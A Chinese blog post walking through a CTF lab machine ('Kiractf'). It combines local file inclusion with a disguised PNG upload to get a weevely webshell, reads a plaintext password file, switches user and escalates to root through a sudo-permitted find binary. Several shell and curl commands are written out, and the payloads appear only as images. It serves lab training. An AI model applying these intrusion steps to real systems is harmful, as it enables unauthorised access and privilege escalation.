Kiractf

信息收集

主机发现和端口扫描只开放了80的web服务

image

WEB打点

访问首页有文件上传,肯定可以利用一波。language那个页面甚至文件包含都写脸上了。

root@Lockly tmp/kiractf » curl http://192.168.56.112               
<input type="submit" value="upload" onclick="window.location='/upload.php';"/>
<input type="submit" value="language" onclick="window.location='/language.php';"/>

root@Lockly tmp/kiractf » curl http://192.168.56.112/upload.php
<html>
<head>
<title>PHP File type check example</title>
</head>
<body>

<form action="upload.php" enctype="multipart/form-data" method="post">
Select image :
<input type="file" name="file"><br/>
<input type="submit" value="Upload" name="Submit1">

</form>

</body>
</html>#           

root@Lockly ~ » curl http://192.168.56.112/language.php
<!DOCTYPE html>
<html>
<head>
        <title>LFI</title>
</head>
<body>
<input type="submit" value="language" 
    onclick="window.location='/language.php?lang=en.php';" />  
</form>
</body>
</html>                                                                                                                                            
root@Lockly tmp/kiractf » 

抓包看文件上传,这里限制图片文件上传,但是简单的%oo截断,图片前缀等等尝试了一下都不行。

image

文件包含

在language.php这个页面点击之后跳转en.php,参数都不用fuzz了直接测文件包含。

image

文件上传

利用文件包含和上传打组合拳,传png上去但通过文件包含解析。修改成png文件上传。

image

weevely连接成功:

image

横向

在supersecret-for-aziz中有个密码,应该是属于/home/bassam的。但是提示必须是交互式终端,奇怪的是明明有python环境,但是升级交互式shell会卡住。

www-data@bassam-aziz:/var/www/html $ ls
index.html
language.php
supersecret-for-aziz
upload.php
uploads
www-data@bassam-aziz:/var/www/html $ cat supersecret-for-aziz
cat: supersecret-for-aziz: Is a directory
www-data@bassam-aziz:/var/www/html $ cd supersecret-for-aziz
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ ls
bassam-pass.txt
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ cat bassam-pass.txt
Password123!@#
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ su bassam
su: must be run from a terminal
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ whereis python
python: /usr/bin/python3.6 /usr/bin/python3.6m /usr/lib/python3.7 /usr/lib/python3.8 /usr/lib/python2.7 /usr/lib/python3.6 /etc/python2.7 /etc/python3.6 /usr/local/lib/python3.6 /usr/include/python3.6m /usr/share/python
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ python -c 'import pty;pty.spawn("/bin/bash")'
sh: 1: python: not found
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ python3 -c 'import pty;pty.spawn("/bin/bash")'
id

whoami

换上哥斯拉的也一样,甚至提示语法错误。

image

反弹到msf尝试居然可以,不清楚是为什么。

image

提权

切换到bassam之后在这个用户的目录下找到了一个flag。sudo -l 有find可以利用来提权。

www-data@bassam-aziz:/$ su bassam
su bassam
Password: Password123!@#

bassam@bassam-aziz:/$ ls
ls
bin    dev   initrd.img      lib64       mnt   root  snap      sys  var
boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz
cdrom  home  lib             media       proc  sbin  swapfile  usr
bassam@bassam-aziz:/$ cd /home/bassam
cd /home/bassam
bassam@bassam-aziz:~$ ls
ls
Desktop    Downloads         Music     Public     user.txt
Documents  examples.desktop  Pictures  Templates  Videos
bassam@bassam-aziz:~$ cat user.txt
cat user.txt
THM{Bassam-Is-Better_Than-KIRA}
bassam@bassam-aziz:~$ sudo -l
sudo -l
[sudo] password for bassam: Password123!@#

Matching Defaults entries for bassam on bassam-aziz:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bassam may run the following commands on bassam-aziz:
    (ALL : ALL) /usr/bin/find
bassam@bassam-aziz:~$

老地方找payload:

image

拿下root权限和最后的flag。

image

posted @ 2023-12-05 14:05  lockly  阅读(37)  评论(0编辑  收藏  举报